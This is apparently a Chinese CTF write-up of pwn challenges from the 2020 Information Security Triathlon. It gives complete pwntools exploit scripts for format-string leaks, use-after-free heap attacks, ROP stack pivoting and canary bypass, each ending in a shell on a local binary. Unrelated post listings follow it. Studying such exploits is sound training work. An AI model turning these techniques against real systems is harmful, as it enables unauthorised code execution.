2020信息安全铁人三项 pwn复盘
第一赛区
hacknote
程序存在格式化字符串漏洞和uaf,不多说了,很简单。
1 from pwn import *
2
3 p = process('./hacknote')
4 elf = ELF('./hacknote')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7 #by bhxdn
8
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 def add(size,content):
14 p.sendlineafter('choice :','1')
15 p.sendlineafter('size :',str(size))
16 p.sendafter('Content :',content)
17
18 def delete(index):
19 p.sendlineafter('choice :','2')
20 p.sendlineafter('Index :',str(index))
21
22 def show(index):
23 p.sendlineafter('choice :','3')
24 p.sendlineafter('Index :',str(index))
25
26 #leak libc_base
27 p.sendafter('name!\n','%13$p')
28 p.recvuntil('hello ,')
29 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
30 print 'libc_base-->' + hex(libc_base)
31 shell = libc_base + 0x45226
32
33 add(0x20,'aaaaaaaa')
34 add(0x20,'bbbbbbbb')
35 delete(0)
36 delete(1)
37 add(0x10,p64(shell))
38 show(0)
39 p.interactive()
heap
同样是存在格式化字符串漏洞和uaf漏洞。
说一下格式化字符串漏洞泄露libc吧。

这里我直接看偏移为25的值。然后pwndbg看栈的情况,我直接stack 300看栈情况。然后放到文本中去找。

25偏移下面那个箭头,所以__libc_start_main+240就是偏移19。所以就%19$p就可以leak libc版本和地址了。
程序存在uaf漏洞,fastbins attack来攻击__malloc__hook,这里还需要利用realloc来调整一下栈帧来让one_gadget生效。
1 from pwn import *
2
3 p = process('./heap')
4 elf = ELF('./heap')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7 #by bhxdn
8
9 def duan():
10 gdb.attach(p)
11 pause()
12
13 def add(size):
14 p.sendlineafter('choice: ','1')
15 p.sendlineafter('item: ',str(size))
16
17 def delete(index):
18 p.sendlineafter('choice: ','4')
19 p.sendlineafter('item: ',str(index))
20
21 def edit(index,content):
22 p.sendlineafter('choice: ','3')
23 p.sendlineafter('item: ',str(index))
24 p.sendafter('data: ',content)
25
26 def show(index):
27 p.sendlineafter('choice: ','2')
28 p.sendlineafter('item: ',str(index))
29
30
31 #leak libc_base
32 p.sendafter('name: ','%19$p')
33 p.recvuntil('Hello, ')
34 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
35 print 'pianyi-->' + hex(libc.symbols['__libc_start_main'])
36 print 'libc_base-->' + hex(libc_base)
37 shell = libc_base + 0x4527a
38
39 add(0x20) #0
40 add(0x60) #1
41 delete(1)
42 edit(1,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
43 add(0x60) #1 2
44 add(0x60) #attack
45 edit(3,'a'*(0x13-8)+p64(shell)+p64(libc_base+libc.symbols['realloc']+0xc))
46 add(0x60)
47 p.interactive()
第二赛区
stackstorm
可以往堆写入两次数据(但似乎并没有什么用),可以栈溢出,但是只能溢出0x10字节。
利用第一次溢出泄露栈地址,然后第二次在栈上布置rop,利用栈转移迁移到我们布置的rop链上,leak了libc地址,然后返回到main函数,直接将返回地址覆盖成one_gadget就可以了。
1 from pwn import *
2
3 p = process('./stackstorm')
4 elf = ELF('./stackstorm')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 pop_rdi = 0x00400903
9 leave_ret = 0x04007C1
10 buf = elf.bss()+0x100
11 main = 0x04007C3
12
13 p.sendafter('data1:\n','bhxdn')
14 payload = 'a'*(0x70-1)+'b'
15 p.sendafter('data2:\n',payload)
16 p.recvuntil('b')
17 stack_addr = u64(p.recv(6).ljust(8,'\x00'))
18 print 'stack_addr-->' + hex(stack_addr)
19
20 p.sendafter('data1:\n','bhxdn')
21 payload = 'aaaaaaaa' + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)+p64(0)*9+p64(stack_addr-0x20-0x70)+p64(leave_ret)
22 p.sendafter('data2:\n',payload)
23 p.recv(12)
24 libc_base = u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
25 print 'libc_base-->'+hex(libc_base)
26 shell = libc_base+0x4527a
27
28 payload = 'a'*0x70+'bbbbbbbb'+p64(shell)
29 p.send('bhxdn')
30 p.sendafter('data2:\n',payload)
31 p.interactive()
第三赛区
待更新
第四赛区
namepie
程序本身有system("/bin/sh"),两个输入,可以利用第一个输入leak canary。

图片可以看到rbp下面是程序本身的地址。开启pie 的程序,后三位是不会变的,所以只覆盖最后一个字节,覆盖成shell的字节,就拿到shell了。
exp:
1 from pwn import *
2
3 elf = ELF('./namepie')
4 context.log_level = 'debug'
5
6 shell = 0x000A71
7
8 p = process('./namepie')
9 p.recvuntil('Name:\n')
10 p.send('a'*0x28+'b')
11 p.recvuntil('b')
12 canary = u64(p.recv(7).rjust(8,'\x00'))
13 print 'canary-->' + hex(canary)
14 p.recv()
15 p.send('a'*0x28+p64(canary)+'bbbbbbbb'+'\x71')
16 p.sendline('ls')
17 p.recvuntil('namepie')
18 p.interactive()
onetime
是一道菜单堆题。调试的时候发现bss段上有7f。
存在uaf,先malloc一个chunk,再free掉,修改fd为bss段上的地址。然后再申请两次申请回来。这时候就可以控制bss上的数据,并且有一个可以读写的指针。
将指针指向malloc_got,泄露libc地址,然后修改malloc_got为one_gadget的地址,再执行malloc就拿到shell了。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11
12 def add():
13 p.sendlineafter('choice >>\n','1')
14
15 def edit(content):
16 p.sendlineafter('choice >>\n','2')
17 p.sendafter('content:',content)
18
19 def show():
20 p.sendlineafter('choice >>\n','3')
21
22 def delete():
23 p.sendlineafter('choice >>\n','4')
24
25 def gift(content):
26 p.sendlineafter('choice >>\n','5')
27 p.sendafter('name:',content)
28
29 attack_addr = 0x0006020BC-0x2f
30 #x/32gx 0x0006020BC-0x24
31 add()
32 delete()
33 edit(p64(attack_addr))
34 add()
35 gift('a'*11+p64(elf.got['malloc'])+p32(100)+p32(100)+p32(100)+p32(100))
36
37 show()
38 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.symbols['malloc']
39 print 'libc_base-->' + hex(libc_base)
40 shell = libc_base + 0x45226
41
42
43 edit(p64(shell))
44 add()
45 p.interactive()
2020信息安全铁人三项 pwn复盘的更多相关文章
- [BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
铁人三项(第五赛区)_2018_rop[32位libc泄露] 题目附件 解题步骤: 例行检查,32位,开启了NX保护 试运行一下程序,一开始让我们输入,然后直接输出"Hellow,world ...
- 铁人三项(第五赛区)_2018_seven
铁人三项(第五赛区)_2018_seven 先来看看保护 保护全开,IDA分析 首先申请了mmap两个随机地址的空间,一个为rwx,一个为rw 读入的都shellcode长度小于等于7,且这7个字符不 ...
- 网站SEO之百度优化不得不知的铁人三项规则
奥运会有铁人三项,此运动更好的协调了运动员的综合素质水平,而百度优化排名中的“铁人三项”规则则是让网站的整体质量更好的满足市场用户体验.针对不同部分的操作,可以让网站在每个细节处都能凸显以人为本的服务 ...
- Phaser铁人三项
/** * 模拟铁人三项 */ public class PhaserTest { private static Random random = new Random(System.currentTi ...
- 2018铁人三项测评题 IOS99
下面这一部分是我从网上复制过来的, 2.IOS 解题链接:http://ctf4.shiyanbar.com/web/IOS/index.php 这题页面中提示系统升级到了IOS99,我们可以想到修改 ...
- 铁人三项(第五赛区)_2018_rop
拿到程序依旧老样子checksec和file一下 可以看到是32位的程序开启了nx保护,将程序放入ida进行查看 shift+f12 看到没有system和binsh等字样,考虑用泄露libc来做这道 ...
- 计算几何-LA2218-HPI-第一次卡精度-vijos1087-铁人三项
This article is made by Jason-Cow.Welcome to reprint.But please post the writer's address. http://ww ...
- 【BZOJ】【2765】【JLOI2010】铁人双项比赛
计算几何/半平面交 本来我是想去写POJ 1755的,然后想起了这道跟它很像的题,但应该是弱化版,所以就先写了这个…… 我们可以发现每个人的总用时,与k是呈一次函数关系的:$time_i=\frac{ ...
- 【APIO2018】铁人两项(圆方树,动态规划)
[APIO2018]铁人两项(圆方树,动态规划) 题面 UOJ 洛谷 BZOJ 题解 嘤嘤嘤,APIO的时候把一个组合数写成阶乘了,然后这题的70多分没拿到 首先一棵树是很容易做的,随意指定起点终点就 ...
随机推荐
- [atARC094D]Worst Case
首先,容易证明满足条件的$ip_{i}$必然是一个前缀 将其看成一张二分图,$i$向满足$ip_{i}<xy$的$p_{i}$连边,即找到一个前缀满足其有完美匹配 二分枚举前缀长度$k$,根据h ...
- [gym102770L]List of Products
有一个很重要的性质:若$a\le b$且$c\le d$,则$ac\le bd$ 根据这一性质,就可以利用单调性$o(n)$求出小于$a_{x}\cdot b_{y}$的数的个数(先要对$a$和$b$ ...
- [bzoj1232]安慰奶牛
先考虑边的代价,容易发现每一条边都需要走两次,也就是2*边权再考虑点的代价,由于上面的结论,那么就是度数*点权然后就可以构造新的边权为2*原边权+连接点的点权,然后求最小生成树即可注意根还有一个点权, ...
- Redis 持久化方案
目录 持久化简介 什么是持久化? Redis 持久化方案 RDB RDB 简介 save 指令 操作与配置 工作原理 bgsave 指令 操作与配置 工作原理 bgsave 配置执行 相关配置 工作原 ...
- NOI2020 同步赛划水记
因为太菜了没去现场参加 NOI 就算去了估计也只能混个Fe(雾) "两天都会各有一道签到题,争取拿到70分.剩下的题每道题打30分暴力.每天130分,就能稳拿Ag了."--ls D ...
- spring security 授权方式(自定义)及源码跟踪
spring security 授权方式(自定义)及源码跟踪 这节我们来看看spring security的几种授权方式,及简要的源码跟踪.在初步接触spring security时,为了实现它的 ...
- 【Perl】如何安装Bioperl模块?
目录 失败尝试一:使用cpanm 失败尝试二:使用CPAN 成功尝试:直接conda安装bioperl 没有尝试:源码安装bioperl 生信软件绕不过Perl,Perl绕不过Bioperl.而Bio ...
- 【shell】真正解决syntax error:unexpected end of file?
今天写了个较长的shell脚本,结构嵌套比较多,最后运行时,出现了syntax error: unexpected end of file的错误. 这个之前碰到过,经常在win系统转移脚本文件到uni ...
- JAVA中null,"",equals,==相互之间使用详解
"equals" 与 "==" "equals"只是比较值是否相同 而"=="则是比较两个变量是不是同一个变量,也应时是 ...
- Shell 格式化输出printf、awk
目录 Shell 文件的格式化与相关处理 printf.awk 格式化打印printf 案例.格式化输出文件内容 输出命令echo 案例 awk数据处理工具 语法格式 处理流程 AWK内置变量 条件 ...